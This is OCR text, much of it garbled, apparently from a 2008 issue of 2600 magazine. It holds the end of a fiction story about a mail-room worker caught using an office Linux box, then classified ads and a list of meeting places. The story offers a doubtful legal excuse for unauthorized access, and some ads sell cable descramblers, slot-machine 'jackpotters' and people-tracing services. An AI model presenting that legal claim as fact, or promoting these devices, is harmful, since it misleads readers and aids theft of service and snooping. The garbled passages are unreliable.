toward the adm i n .  There i s  a s u rpr i s i n g  lack nobody sa id  a word . I poi nted at the sc reen ,  
o f  b i a s  i n  management st iffs. S u re, they obv i - where the adm i n  had j u st l ogged i n .  
ous ly  enjoy a good feed i n g  frenzy, b u t  you ' d  "Yo u r  system says 'we lcome' whenever 
th i n k  they ' d  a utomatica l ly cheer for the guy a nybody l ogs i n ." 
i n  the most expens ive su it, a n d  that ' s  not true. Every head i n  the room tu rned to l oo k  at 
I n stead, i t ' s  a case of l i ne 'em u p  and  may the the scree n .  There at the top was the message 
best man w i n .  o f  t h e  day, t h e  text that accompa n i es every 

B arker stood there s i lent ly, look ing  at me, l ogon .  R ight  next to the name of the company 
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was the word "Wel come." 
"A wel come can be lega l l y construed as an 

i nv i tat ion .  P lus  there was no warn i ng that  t h i s  
i s  a restricted system."  

I watched my aud ience, the i r  bus i ness 
bra i ns d igest i ng  the i nformation . 

"And, s i nce the progra m had crashed, and  
I hadn ' t  actu a l l y  l ogged i n ,"  I added, "then 
lega l l y  spea k ing  I h aven ' t  done a nyth i n g  
wrong." B a rker tu rned to the adm i n .  

" I s  that true?" h e  asked. The adm i n  stood 
there, ho ld ing  h i s  phone, a nd tens i n g  h i s  j aw. 
He didn ' t  rep ly. Actua l ly, I had no idea i f  i t  
was true, e i ther. Ba rker le t  out  a long breath 
th rough h i s  nose, then spoke aga i n .  

" How m a ny other mach i nes have w e  got 
l i ke that?" He was n ' t  hold i ng back now. He 
was serious ly  a n n oyed, a nd he was lett i ng the 
adm i n  have i t .  Luck i ly  for me, there was some 
adm i n i stra t ive tu rf-wa r go i n g  on betwef'n the 
two. Office po l i t i c s :  don ' t you j u st l ove i t ?  

" I  don ' t  know," sa id the ad m i n , re l u cta nt ly. 
"You ' l l  have to ask  B i l l .  I t ' s  h i s  box." I ga thered 
that B i l l  was the company ' s  U N I X  w izJ rd .  
" B u t  th i s  k i d  shou l d n ' t  b e  touch i ng i l." 

" I t  shou ldn ' t  be on the f loor in an em pty 
off ice.  What ' s  it do i ng in here a nyway ?" 
snapped Ba rkf'L The dd m i n  was go i ng to say 
someth i ng, but B il rh'r preempted h i m .  

"You 'd better gpt B i l l  u p  here today. I don ' t  
care what h e ' s  do i ng; te l l  h i m  to get u p  here 
now. We need the stJ nda rd wa rn i n g  message 
on every L i n u x  mach i ne, today." 

" B u t  there a re dozens of them," said the 
adm i n ,  a bit w h i ney. 

" I t ' s  s i m p le. J u st c h a nge the message of the 
day," I suggested hel pfu l l y. 

B a rker shot me a look, a n d  I shu t  my 
mouth, a nd looked su i tab ly  ser ious .  Contr i te, I 
th i n k  is the word.  

"J ust get i t  done," he sa id  to the adm i n .  
"And get t h i s  mach i ne o u t  o f  here a nd i nto the 
server room." 

The adm i n  was outra n ked, and he knew i t .  
He nodded s i lent ly. At the back of every office 
d rone ' s  m i nd is the mortgage he has to pay. 
More l i ke ly, the adm i n  was s i m p l y  fo l lowi n g  
the route t o  t h e  top that the a d s  secret l y  
suggest: obey s i lent l y, and o n e  d a y  y o u  c a n  
b e  the w i n ner o f  the rat race. Barker turned 
to me. 

"Go back to you r  work, a n d  if  you touch 
another mach i ne in here, I ' l l  persona l l y ca l l  
the pol ice." 

" I  won ' t," I sa i d .  "Th a n ks ."  
I headed to the door. The guard stepped 

as ide to let me pass, and I left h i m  and the 
I nqu i s i t ion to the i r  post-event d i scuss ion and  
went out .  I grabbed the  cart and h u st led a long 
the corr idor as  fast as  my whee l s  wou l d  go. I 

h i t  the button to fetch the e levator, and  I cou 
hea r the su its fi l i ng out of the room, the i r  spec­
tator sport over wi th ,  go i ng back to writ i ng  
memorandums  to  the  boa rd . The door opened 
and I got i n .  As the e levator descended, I sa id  
a s i lent prayer to whomever the patron sa i nt of 
hackers is, and q u iet ly  resolved that  my fi rst­
born ma le ch i l d  wou l d  be na med Barker. 

I ex i ted on the ground floor, a l most 
co l l id i ng  with one of the j u n ior c lerks who 
was a l ways bugg i ng me about putt i ng her ma i l  
o n  the desk i n stead of i n  the p roper tray. 

"Oops," I sa id, w i th a friend ly  sm i le .  She 
was cu te, a nd I guess the recent  exc i tement  
had ca ught me off gUJrd, the adren a l i n  had 
g iven me confidence, or someth i ng, a nd so I 
sa id, " H ow ' s  it goi ng?"  or words to that  effect. 
She wa l ked away without say i n g  a nyth i ng, the 
perfect end to a perfect day. 

I wen t  down thf' corr idor a nd i n t o  t h e  ma i l  
room, a nd I stayed there u nt i l f ive o ' cl ock.  I t ' s  
fu n ny how J c lose brush wi th  i mpr i sonment  
CJn  mil ke ma i l  sort i n g  seem l i ke fu n .  

I never fou nd o u t  whilt  Wil S on that  work­
stJ t ion  or why i t  WJS in that  l'mpty room,  
il nci I never Jskpd . B u t  I d id get  a ca l i o n the  
fo l l owi n g  MondJY. I t  was Bil rk('r. l IP  wanted 
to know if I wou ld l i ke to work for h i m  i n  t he  
IT  depil rtmpnt .  He sa id th il t  np('(it'd sO Ill P o n e  
with L i n u x  s k i l l s .  Of ('ou rs!', I a c ct'Pt!'d,  ,md d 
few months of study J nd th rf'P t'X ,l m s  l a ter, I 
wa s given the offi c i il l  t i t l e  of nC'twork P il g i n eer. 
Bas ica l ly, I get pa id to p l ay w i t h  nl' tworks, to 
see where the secur i ty  ho le, a re, a nd occa­
s iona l ly to swap out  a b roken sw i t c h .  

These days, I c a n  afford t o  buy computer 
eq u i pment  fro m  t h i s  centu ry. I n C'VPr went 
back to a l i fe of c r i m i na l  hack i ng, a nd I ' ve 
never had to p ush a ca rt a ro u nd a n offi( e ever 
aga i n-so fa r. B u t  I did m a n age to b u m p  i n to 
that c lerk, the one I co l l ided w i th on my fi rst 
week.  Th i s  t i me, I got a s m i le, a nd as I watched 
her wal k  away, I noti ced a b i t  oj a sway in her 
h i ps that had n ' t  been there before. 

I ' d  te l l  you about how the computer on 
her desk deve loped a network fa u l t  that o n l y  
I cou l d  f i x ,  b u t  y o u  can probab ly  guess the 
deta i l s .  

Have an interesting fictional story 

concerning hacking that YOIJI'd like to 

test OlJlt on olJlr readers?5end it on in 

to artffdes@2600,com. Please teN IJIS 

it's fiction so we don't inadvertenl1y 

sprea.d a pack of Hes. 
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Happeninus 
PHREAKNIC 1 2 . Nashv i l l e  2 600 is  once aga i n  proud to present 
Phrea k N I C  1 2 , held every year in Nashvi l le, TN. We are ho ld ing  
th is  technology conference i n  the same location as the past 
.5 years, the Days I n n  at the Stad i u m  on October 2 4th-2 6th, 
2 008. Vis i t  http://phrea k n i c . i nfo for the l atest i n formation, 
i n c l u d i ng hotel booking i nformation and pre-registrat i o n .  
Cal l ( 6 1 5 )  2 5 4 - 1 5 5 1  and mention "Phrea k N IC" f o r  the spec i a l  
rate of $ 6 7/night .  

For Sale 
SECURITY SYSTEM FOR SALE, u nder $ 1 00 and no mont h l y  
fees. I am sel l i ng secur i ty systems t o  protect y o u r  computer or  
personal  space such as a dormitory or apartment, etc .  This  covert 
a larm system ca l l s  your cel l phone on detection of i ntrusion, 
then a l l owing you to use your ce l l  phone to hear the i ntruder's 
activit ies through a sound a m p l i fied m i c rophone on the u n i t .  
This  a larm system i s  d i sgu ised as a n  orrl i n a ry h o u s e  p h o n e  a n d  
is  a l so a wor k i n g  phone!  (G reat for offices.) B e s t  secu r ity system 
money can get for under $ 1 00 and no monthly fees. Order now 
for $75 o n l y  at www.CNC-Distr ibut ion .com/C N C  
MAC SPYWARE- ant i-spyware f o r  the Mac as X,  detects, 
isol ates, and removes spyware and over 8000 track ing 
cookies. Th i rty day free tr ia l  - http://macscan.secu remac .com/ 
- Help us promote Mac$can, receive a free copy, and swag -
macsec @securemac.com for deta i l s .  
CRACKER F R I E N DLY G LASS TOBACCO PI PES, water p i pes, 
chamber p ipes, and accessor ies. L iqu idation <; a l e !  For those 
p u l l i ng a l l - n ighters who need help focus ing .  Free sh ipping for 
orders over $ 3 0 .  E ma i l  k u r l i e 1 984S @yahoo.com for pics and 
quest ions .  Must be 1 8 ! 
CABLE TV DESCRAMBLERS. New. Each $45 + $5 sh ippi ng, 
money orderlcash o n l y. Works on ana log or a n a l og/digita l  
cable systems. Prem i u m  channels  and poss ib ly  PPV depend i n g  
on syste m .  Complete with 1 1 0vac power supply. Purchaser 
assumes sole respons ib i l ity for notify i n g  cable operator of use of 
desc rambl er. Req u i res a cable TV converter ( i .e . ,  Radio Shack) to 
be used with the u n it .  Cable connects to the converter, then the 
descrambler, then the output goes to TV set tuned to channel  3 .  
CD 962 1 O l ive, Box 2 8Q92-TS, Ol ivettet S u r, M i ssou ri 63 1 3 2 .  
Ema i l :  cabledescramblerguy@yahoo.com. 
TV-8-GONE. Tu rn off TVs i n  publ ic p l aces! Ai rports, restau rants, 
bars, a nywhere there's a TV. N ow ava i l a b l e  as a n  open sou rce 
k i t, as wel l  as the su per-pop u l a r  or ig ina l  keyc h a i n .  The kit turns 
off TVs at 40 yards!  And now, for profess ionals ,  the TV-B-Gone 
Pro turns off TVs u p  to 1 00 yards away ! 2600 readers get 1 0% 
d iscount on TV-B-Gone keycha ins  - use Coupon Code: 2 600. 
www.TVBGone.com 
JEAH.NET supports 2 600, because we read too! J EAH . N ET 
contin ues to be # 1  for fast, stable FreeBSD s h e l l  accounts with 
h u ndreds of vhost domai ns, FreeBSD a n d  Plesk web hosti ng, 
1 00% pr ivate and sec u re dom a i n  regi stration, and aggressive 
merchant solut ions .  2600 readers' setup fees are a l ways waived 
at J EA H . N ET. 
J ! N X- H ACKER CLOT H I N G/GEAR. Tired of bei n g  n a ked? J I N X .  
c o m  h a s  3 0 0 +  1's, sweatsh i rts, stickers, a n d  hats for those 
rare t i mes that you need to leave your house. We've got swag 
for everyone, from the budd i n g  nOOb let to the v i ntage geek. 
So take a five m i n ute break from surfi ng prOn a n d  check out 
http://www.J I N X.com. Uber-Secret-Spec i a l-Mega Promo: Use 
"2 600v2 5 no 2 "  and get 1 0% off of your order. 
VENDING MAC H I N E  JACKPOTTERS. Go to 
www. hackershomepage.com for Ven d i n g  & S lot Mach i n e  Jack­
potters, Safe C rackers, lock Picks, Phone Devices & Controver­
s i a l  Hacking Publ icat ions.  
NET DETECTIVE. Whether you're j ust cur ious, trying to l ocate 
or find out about people for persona l  or  busi ness reasons, or 
you're looking for people you've fa l l e n  out of touch with, Net 
Detective makes i t  a l l  poss ib le !  Net Detective i s  u sed world­
wide by pr ivate i nvestigators and detectives, as wel l  as everyday 
peop le  who use it  to find l ost relatives, old high school and army 
buddies, deadbeat parents, l ost loves, people that owe them 
money, and j ust p l a i n  old snoopi n g  arou n d .  Vis i t  us today at 
www.netdetective.org .uk .  
N ETWORKING AND SECURITY PRODUCTS ava i l able at 

Ovat ionTechnology.com. We're a supplier of Network Secu­
rity and I nternet Privacy products. Our on l i ne store features 
VPN and fi rewa l l  ha rdware, wi rel ess ha rdware, cable and DSL 
modems/routers, I P  access devi ces, Vol P  products, parenta l 
control products, a n d  ethernet switches. We pride ou rselves on 
prov id ing the h i ghest level of tec h n i c a l  expertise and customer 
satisfaction .  Our com mitment to you .. . No surprises! Buy with 
confidence! Sec u r ity and Privacy is  our  busi ness! Vis i t  us at  
http://www. OvationTechnology.com/store.htm.  
REAL WORLD HACKING: I n terested i n  rooftops, steam tunnels, 
and the l i ke? Read the a l l-new Access All Areas, a gui debook to 
the art of u rban explorati on,  from the author of Infiltration z i ne.  
Send $ 2 0  postpa id  i n  the U S  or Canada, or $ 2 .5  overseas, to 
PO Box 1 3 , Station E, Toronto, ON M6H 4 E 1 , Canada, or order 
o n l i ne at www. i nf i l trat ion.org. 
FREEDOM DOWNTIME ON DVD! Years i n  the making but we 
hope i t  was worth the wait .  A double DVD set that i n c l udes 
the two hour documentary, a n  i n -depth i nterv iew with Kev i n  
M i t n i ck, and nearly three hours o f  extra scenes, lost footage, 
and m i scel l a neous stuff. P lus  capti o n i n g  for 20 (that's r ight, 
2 0 )  la nguages, commentary track, and a lot of t h i ngs you' l l  j u st 
have to fi nd for yourself !  The ent i re two disc set can be had by 
sen d i n g  $., 0  to Freedom Downtime DVD, PO Box 752,  Middle  
Is land,  N Y  1 1 95 3  USA or by order ing from our  o n l i ne store at  
http://store.2 600.com. (VHS copies  of the fi l m  sti l l  ava i lab le  for 
$ 1 5 . )  

Help Wanled 
LOO K I N G  FOR H E l P  from anyone in the wr i t ing of a proposal  
to help me try to re i n state persona l  computers i n  the East Jersey 
State Prison in Rahway, New Jersey. We are operat ing u nder 
a new com m i ssioner s i nce the computers were taken away 
in 1 995 due to pol icy revis ions for no reason at a l l .  If  anyone 
knows someone that knows someone that k nows the commis­
sioner of the New Jersey State Prisons, we seek you r  help i n  th i s  
matter. I am also looki n g  for  anyone who i s  w i l l ing  to he lp  me 
with my progra m m i n g  ski l l s .  Anyt h i n g  wi l l  be a p lus .  Contact 
i nfo: Akmed R.  F l u ker, 467096/8 5 3 803A, Lock Bag R, Rahway, 
N ew J ersey 0706 5 .  Peace and brotherhood to a l l .  
RENEGADE BLACK SHEEP TECH ENTREPRE N E U R  i n  process 
of putt i n g  flesh on the bones of a n  encrypted voice commu­
n ications project. Do you have experience i n  the deep deta i l s  
o f  Vol P/S I P  protocols, network traffic a n a l ys is, b i l l i n g  system 
construction, PtoP rout ing, and so on? I n terested in worki n g  with 
a top-end team to bui ld  a world-changing tool  for  regu lar  fol ks 
around the world to u se in the i r  everyday l ives? Contact me at 
w r i n ko@ hushma i l .com. 

Wamed 
LOO K I N G  FOR 2600 READERS who wou l d  l i ke to offer their  
services for  h i re .  Wa nt to make money work ing from home or on 
the road, c a l l  (740)  544-6563 extension 1 0. 
WANTED. Verified/verif iable computer hacker. W i l l  pay $ 7 5  for 
i nterview to be used for future publ ication; either on-the-record 
or off-the-record. Response2 600 (at) yahoo.com. 

Seniees 
HACKER TOOLS TREASURE BOX! You get over 660 l i n ks 
to key resou rces, / I u s  our  proven methods for root i n g  
out the ha rd-to-fin tools,  i n stant ly !  Lets y o u  b u i l d  your 
own custom h acker (AHEM, network sec u rity) tool kit .  
http://FortressDataProtecti o n .com/secu r i tybook 
GET A RAISE AT WORK - B LOCK MORE SPAM. 5pamStopsHere 
(www.spamstopshere.com) is the premier solut ion to he lp you 
i mprove your boss' op in ion of you, or  help you keep spam 
away from your own busi ness. I t  w i l l  help you b lock over 99% 
of spam "out of the box" a n d  has v i rt u a l l y  no fa lse posit ives. I t  
requ i res no tu n i ng, other than having your users send any sparn 
that does manage to get through to a spec i a l  e-ma i l  address. so 
i t  too gets b locked for a l l  of SpamStopsHere's c l ients. Because 
of the methodology used, even medical groups and law firms, 
the two hardest types of orga n izat ions to spam fi l ter, can get 
great success. I 've been using the service myself for two years 
at my employer, a n d  have perso n a l l y  had two fa l se positives in 
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that  t i me, with BYX) of the m a i l  my orga n i zat ion receivps being 
spam.  I n  the ev('nt t h a t  there i s  a fa lse pos i t ive, your users  can 
f ind out il bout i t  thC'mselvps a n d  retr ieve i t  thpmsplvps. The 
s('rv i u ' i s  <l l so Gl pilblp of b lock ing  v i ruses, putt ing anol hpr l i ne 
of defense between a v i rus  a n d  your m d i l  servers. The servin' 
ev('n i m p roves e-ma i l  rel i J b i l i ty with m u l t i ple-redundant  servers 
a t  locat ions around t h( '  U . S . ,  whi( h d uto-stor(' <l nd forward your 
e-ma i l  in thp ev('nt of a ha rdwilre fa i l u re on your ('n d .  Hest of il l I ,  
i t  i s  very ,lffordablp,  a n d  offers a 3 0-day free tri a l .  Reil l i z i ng t h a I  
we'd be a good market f o r  t h e m ,  I m,maged to negot iJte a 1 5 
pern'nt d i scount off the pr ice of the service for a 1 1 16U() read�rs.  
S imply contJct SPil n at  sea n @ spa mstopsherf' .com and mentIon 
260() Magazine to get your d i scount .  
BEEN ARRESTED FOR A COMPUTER OR TECH NOLOGY 
RELATED CRIME? Have an idea, i nvent ion,  or  bus i ness you want 
to buy, sel l ,  protect, or market? Wish you r  attorney actua l l y  u nder­
stood you when you spea k?  The Law Office of M i chael B .  G reen, 
Esq. i s  the solution to your 21 st century legal prob lems.  Former 
SysOp and member of many private B B S's s i nce 1 98 1  now ava i l ­
a b l e  t o  d i rectly represent you or br idge t h e  comm u n i cat ions gap 
and assist your cu rrent legal counse l .  Extremely deta i led knowl­
edge regard i ng c r i m i n a l  and c i v i l  l i a b i l i ty for computer and 
technology reloted act ions ( 1 8  U S C  1 028,  1 02 9, 1 030, 1 03 1 ,  
1 3 4 1 , 1 3 42, 1 3 43, 2 5 1 1 , 2 5 1 2 ,  ECPA, DMCA, 1 996 Telecom 
Act, etc . ) ,  doma i n  name d i sputes, i nte l l ectu a l  property matters 
such as copyr i ghts, trademarks, l i censes and acqu is it ions, a� wel l 
as genera l bus i ness a n d  corporate l aw. Over 1 1  y�ars exp.enence 
as i n-house lega l counsel to a computer cons u l t i n g  bUSi ness as 
we l l  as  a n  over 2 0  year background in computer, telecom m u n i ­
cations, and technology matters. Publ i shed l aw review art ic les, 
contri buted to nationa l l y  p u b l i shed books, and subm itted briefs 
to the U n i ted States Supreme Cou rt on I nternet and technology 
rel ated issues. Admitted to the u . S .  Su preme Cou rt, 2 n d  C i rc u i t  
Court of Appea ls,  a n d  a l l  New York State cou rts and fam i l i a r  
with other j u r i sdict ions as wel l .  M a n y  attorneys w i l l . t a k e  you r 
case wi thout any consideration of our  c u l ture and w i l l  see you 
merely as a sou rce of fees or worse, with i l l -conceived prej u­
d ices. My office u ndersta nds o u r  cu l ture, i s sympathetic to your 
s i tuat ion,  and wi l l  treat you with the respect and understand ing 
you deserve. N o  fee for  the i n i t i a l  and confident i a l  consultat ion 
and, i f  for any reason we can not help you, we wi l l  even try. to 
f ind someone else who can at no charge. So you have noth i n g  
to l o s e  and perhaps everyt h i n g  to ga i n  by contact ing us fi rst. 
V is i t  us at: http://www.computorney.com or c a l l  5 1 6-9WE- H E L P  
( 5 1 6-993-4 3 5 7) .  
HAVE A PROBLEM WITH T H E  LAW! D O E S  YOU R  LAWYER 
NOT U N D E RSTA N D  YO U !  H ave you been charged with a 
computer rel ated cr ime? Is someone th reaten ing to sue you 
for someth ing technol ogy related? Do you j ust need a l awyer 
that u ndersta nd IT and the h acker c u l tu re? I 've publ i shed and 
presented at HOPE and Defeon on the l aw fac i n g  technology 
profess iona ls  and hackers a l i ke. I ' m  both a lawyer and an I T  
profess iona l .  Adm i tted to practice law i n  Pennsylva n i a  and New 
Jersey. Free consu ltation to 2 600 readers. http://m uentz l aw.com 
a lex@muentzlaw.com (2 1 5 ) 806-43 83 
PIMP YOU R  WI RELESS ROUTER! http://packetprotector.org. 
Add VPN,  I PS, and web AV capab i l it ies to your wi reless router 
with free, open-sou rce fi rmware from PacketProtector.org 
ADVANCED TEC H N ICAL SOLUTIONS. # 4 2 2  • 1 75 5  Robson 
Street, Vancouver, B .C.  Canada V6G 3 B 7 .  Ph: (604) 92 8-05 5 5 .  
E l ectronic  cou ntermeasures - f i n d  o u t  w h o  is  secret ly  v i deo­
taping you or bugging your car or office. "State of the Art" detec­
tion equ i pment ut i l i zed. 
I N CARCERATED 2600 MEMBER N EEDS COM M U N ITY HELP to 
b u i l d  content in free c lassified ad and " local busi ness d i rectory" 
in 50 countries.  John Lambros, the fou nder of Boycott Brazi l ,  
h a s  l a u n ched a F R E E  c l ass ified a d ,  want a d ,  and local  busi ness 
d i rectory in 50 global markets. The m i ss ion i s  s imple :  "free �e l p  
to b i l l ions of people locating j obs, housi ng, goods and serVICes, 
soc i a l  activ i t ies, a g i r lfr iend or boyfriend, commun ity i nforma­
t ion,  and j ust about anyth i n g  else i n  over one m i l l ion neigh­
borhoods throughout the wor ld  - al l  for FREE. HELP M E  OUT! 
SPREAD THE WO R D !  P lease v is i t  www. NoPayClassifieds.com 
and add some content. I t  w i l l  take al l  of five or ten m i n utes. L i n ks 
to "No Pay Class i fieds" are a lso great ly  apprec iated . 
I NTELLIGENT HACKERS U N I X  SHEll.  Reverse. N et is  owned 
and operated by i ntel l igent hackers. We bel i eve every user has 
the right to o n l i ne sec u rity and privacy. In raday's host i l e  ant i­
hacker atmosphere, inte l l i gent hackers req u i re the need for a 
secu re p l ace to work, com p i l e, and explore without b ig-brother 
looking over their shoulder. Hosted at Ch i cago Equ i n i x  with 
j u n i per F i l tered DoS Protection .  Mul t ip le  FreeBSD servers at P4 
2 .4 ghz. Affordab le  pr ic ing from $ 5/month with a money back 
guarantee. L i fet ime 2 6% d i scount for 2 600 readers. Coupon 
code: Save2 600. http://www. reverse.net 

AnnouncemenlS 
OFF THE HOOK i s  the wepk ly  one hour hilcker rad i o  show 
presented Wedn('<;d,lY n i ghts tit 7 : 00 pm ET on WBAI 99. S 
FM in New York C i tv. You Cdn il lso tune in over the net a t  
www. 2 600.com/offth0hook or on shortw.w(' i n  North  il nd South 
America at  74 1 5  khz .  Arch ivps of al l  shows dating hack to 
1 9SB can b(' fou n d  ilt th(' lM)O sitp in mp'� form,l t !  Shows from 
1 Q88-2006 a re now tlvtl i l a b l e  in DVD-R h i g h  f ide l i ty a u d i o  for 
o n l y  $ 1 0  a yeJr o r  $ 1 5 0 for a l i fet ime subscr ipt ion .  SE'nd check 
or money ordpr to 160(), PO Box 7.'12, Middle bland, NY 1 1  gi) 3 
USA or order t h rough our  on l i ne store <I t http://�lor(' . 2 6()O .com. 
Your feedbilck on the progra m is  a l ways welcome t i t  oth Q.I12 600. 
com. 
T H E  HACKERS YOUTUBE. Video shoring com m u n ity for 
upload i n g  a n d  watc h i n g  strea m i n g  hacki ng, modrl i ng, and 
u n derground v i deos that  the commun ity can rely on to de l iver 
q u a l i ty content to anyone w i l l i ng to take the t ime to learn.  
http://www.verya ngrytoad.com 
THE HIGH W E I R D N ESS PROJECT. We are 0 SubGpn i u s  w i k i  
seek ing submiss ions o f  strange, controvers i a l ,  subversive, 
and above a l l  S l ackfu l sources of i nformat i o n .  We do not 
fol l ow a so-ca l led "neutral  point of v iew" - p l ease make you r  
entr ies as bi ased as y o u  want, as l o n g  as they're i nterest ing !  
Spec i a l  sect ions dedi cated to i nformat ion wa rfare, software, 
conspi racies, re l ig ion and skept ic i sm, and morc. Check us out: 
www.modemac.com. 
PHONE P H U N .  http://phoneph u n . u s .  B l og devoted to i n ter­
est ing phone n u m bers. Share you r fi nds !  

Personals 
COUNTER-INTElLIGENCE, HACKING, computer rcl otcd 
cou ntermeasu res. Former i nte l l igence officer i nterested in new 
computer rel ated technology. I n  search of friends, contacts, and 
worldwide penpa ls  any age, race, or or ientat ion .  I f  poss i b l e, 
i nc l ude photo with letter. No nudi ty, polaroids, or i n mate m a i l .  
Spa n i s h  or Eng l i s h  OK.  I purchase maga z i nes, hooks, u n usua l  
pi ctu res with my own funds .  WM, 6', 1 80, blonde, brown - w i l l  
respond t o  a l l .  I nterested i n  i nfo on f inanc ia l  pr ivacy, offshore 
trusts, hacki ng, and counteri ntel l i gence. D. Corye l l ,  T-68 1 2 7, 
PO Box 8504, D3-247up, Coa l i nga, CA 9 3 2 1 0 . 
WHEN T H E  B U LLET H I TS T H E  BONE. Cha nge of address. If 
you tried to send m a i l  and it got retu rned, that's why. B ored and 
lonely phone nerd with some t ime left i n  our  nat ion's wonderfu l 
corrections system.  Sti l l  looking for pen pals  to help me pass 
the time. W i l l  respond to a l l .  I nterests i n c l ude but not l i m i ted 
to telecom, computers, pol i t ics,  music,  tats, urban explorat ion,  
e lectronics .  I ' m  a 2 3  yrs wh ite male, b lack h a i r, green eyes. 
Some tats. Michael  Kerr 09496-029, FCI Oxford, PO Box 1 000, 
Oxford, WI 5 3 9 5 2 .  
23 YEAR OLD SERV I N G  2 YEARS i n  Sher idan, Oregon for 
hacking i nto AT&T p l u s  many other Vol P  providers.  F i rst to be 
cha rged with Vol P  crimes. Featured on Ame.rica's Most Wanted 
with K .  Mitn ick .  Looki n g  for ANYO N E  to write me. Check freer­
obert.com for more i nfo. 
GAY PRISONER SEEKS FRIENDS to help with book review 
lookups on Amazon by keywords. Com Sci  major, th i rsty to 
catch up to the rea l worl d  before my reentry. I have my own 
fu nds to buy books. I on ly  need reviews. I ' m  MU D/MMORPG 
savy i n  C++, j ava, Python, PHP, MySQL, D i rectX. Ken Roberts 
j 60962, 450-1 -2 8M, PO Box 9, Avenal ,  CA 93204.  
OFFLINE OUTlAW I N  TEXAS needs some help i n  developing 
progra m m i n g  ski l ls .  Interested i n  Per l  and j avasc r i pt. A l so privacy 
in a l l  areas. L i brary here is  i n adequate. Feel free to drop those 
B i l l  Me Later cards, add me to the m a i l i ng l i sts, etc . .  Thanks to 
a l l  those who have hel ped me so much a l ready, you know who 
you are. Wi l l iam L i nd ley 822934, CT Terrel l ,  1 3 00 FM 655,  
Rosharon, TX 7 7 5 8 3 -8604 

O N LY S U BSCRIBERS CAN ADVERTISE I N  26001 Don't even 
t h i n k  about try i n g  to take out a n  ad u n less you subscribe! A l l  
a d s  a r e  free and there i s  no amount o f  money we w i l l  accept 
for a non-subscriber ad.  We hope that's c l ear. Of course, we 
reserve the r ight to pass j udgment on your ad and not pr int  
i t  i f  i t 's  amazingly  stu p id  or has noth i ng at a l l  to do with the 
hacker wor ld .  We make no guarantee as to the honesty, r igh­
teousness, sanity, etc . of the peopl e  advert i s ing  here. Contact 
them at your peri l .  All submiss ions are for ONE I S S U E  O N LY !  
I f  y o u  want t o  run your ad more t h a n  once y o u  m u st resubmit  
i t  each t ime.  Don't  expect us to run more than one ad for you 
in a s i ngle issue e i ther. Inc l ude your address label/envelope 
or a photocopy so we know you're a subscri ber. Send you r ad 
to 2600 Marketpl ace, PO Box 99, Middle Island, N Y  1 1 95 3 .  

Deadline for Autumn issue: 8/25/08_ 
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The 9 0 0  page co l l ect i on of h i g h l i g hts from our  
24 y e a rs of p u b l ish i ng is  now out ,  i nc l u d i n g  
a l l  sorts o f  new commentary t o  g o  a l ong  w i th 
the h istori c materi a l . Pu b l ished by W i l e y  and 
ava i l a b l e  at bookstores eve rywhere ,  obta i na b l e  
vi a amazon . co m , bn . com , bord e rs . com , and 

count l ess oth e r  s i tes thro u g hout the worl d .  
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ARGENTINA 
Buenos Aires: The "Cruzat Beer 
House" bar, Sarmi ento 1 6 1 7  (fi rst 
floor, Paseo La P laza) .  

AUSTRALIA 
Melbourne: Caffe i n e  at ReVa u l t  
Bar, 1 6  Swanston Wa lk,  near 
Melbourne Centra l Shopping 
Centre. 6 :30 pm 
Sydney: The Crystal Pa lace, front 
bar/bistro, opposite the bus station 
a rea on George St at Centra l 
Station .  6 pm 

AUSTRIA 
Graz: Cafe H a l teste l l e  on 
Jakom i n i platz.  

BRAZ I L  
Belo Horizonte: Pel ego's Bar  at 
Assufeng, near the payphone. 
6 pm 

CANADA 
Alberta 

Calgary: Eau C l a i re Market food 
court by the b land yel low wa l l .  
6 pm 

British Columbia 
Victoria: QV Bakery and Cafe, 
1 70 1  Government St. 

Manitoba 
Winnipeg: St. Vital Shopping 
Centre, food court by HMV. 

New Brunswick 
Moncton: Champl a i n  M a l l  food 
court, near KFC. 7 pm 

Ontario 
Barrie: Wi l l ia m's Coffee Pub, 505 
Bryne Dr.  7 pm 
Guelph: W i l l iam's Coffee Pub, 
492 E d i n bourgh Rd 5 .  7 pm 

�t�aMbe';;'����:;��dffo�� l aza, 

6 :30 pm 
Toronto: Free Times Cafe, Col lege 
and Spad i n a .  
Windsor: U n iversity of Windsor, 
CAW Student Center commons 
a rea by the l a rge w i n dow. 7 pm 

Quebec 
Montreal: B e l l  Amphitheatre, 
1 000, rue de l a  Gauchetiere. 

CHINA 
Hong Kong: Pacif ic Coffee in  
Festiva l Wa l k, Kow loon Tong. 
7 pm 

CZECH REPUBLIC 
Prague: Legenda pub.  6 pm 

DENMARK 
Aalborg: Fast Eddie's pool h a l l .  
Aarhus: I n  t h e  fa r corner of the 
DSB cafe in the ra i lway stat ion.  
Copenhagen: Cafe B l asen. 
Sonderborg: Cafe Drllen.  7 : 3 0  pm 

EGYPT 
Port Said: At the foot of the 
Ob" l i , k  l E I  M i ssa l l a h l .  

ENGLAND 
Brighton: At the phone boxes by 
t h e' Sea l i fe' C{'n t re (across tht>  road 
from the Pa lace P ipr ) .  Payphone: 
(01 2 73 )  606674. 7 pm 
Exeter: At the p,lyphon('s, Bpdford 
Square.  7 pm 
Kent: At the end of th{' bu� station 
opposite W i l k i nsons, Canterbu ry. 
6 :30 pm 
London: Trocadero Shoppi n g  
Center (near Piccad i l l y  Ci rcus) ,  
lowest leve l .  6 : 3 0  pm 
Manchester: Bul ls  Head Pub on 
London Rd. 7 :30 pm 
Norwich: Borders entrance to 
Charelf ield Ma l l .  b pm 
Reading: Afro Bar,  Merchants 
Pl ace, off Fri:��i'

A
6rf

D
m 

Helsinki: Fen n i a korttel i  food court 
(Vuori katu 1 4) .  

FRANCE 
Grenoble: Eve, campus of St. 
Martin d ' Heres. 6 pm 
Lil le: Grand-Place (P lace Char les 
de G a u l le) in front of the F uret du 
Nord bookstore. 9 pm 
Paris: Place de la Rep u b l i que, 
near the (empty) fou nta i n .  6 : 3 0  
pm 
Rennes: I n  front of the store " B l ue 
Box" dose to Place de la Repub­
l i que.  8 pm 

GREECE 
Athens: Outside the bookstore 
Pa pasot i n ou on the corner of Pat i ­
s ion and Stou rnar i .  7 pm 

I RELAND 
Dublin: At the phone booths on 
Wicklow St bes ide Tower Records. 
7 pm 

ITALY 
Milan: Piazza Loreto in front of 
McDonalds.  

JAPAN 
Tokyo: L i n u x  Cafe in Aki habara 
d i strict.  6 pm 

NEW ZEALAND 
Auckland: London Bar, upstai rs, 
Wel lesley St, Auckland Centra l .  
5 : 3 0  p m  
Christchurch: J ava Cafe, corner of 
H igh St and Manchester St. 6 pm 
Wellington: Load Cafe in Cuba 
M a l l .  6 pm 

MEXICO 
Mexico City: "Zocalo" Subway 
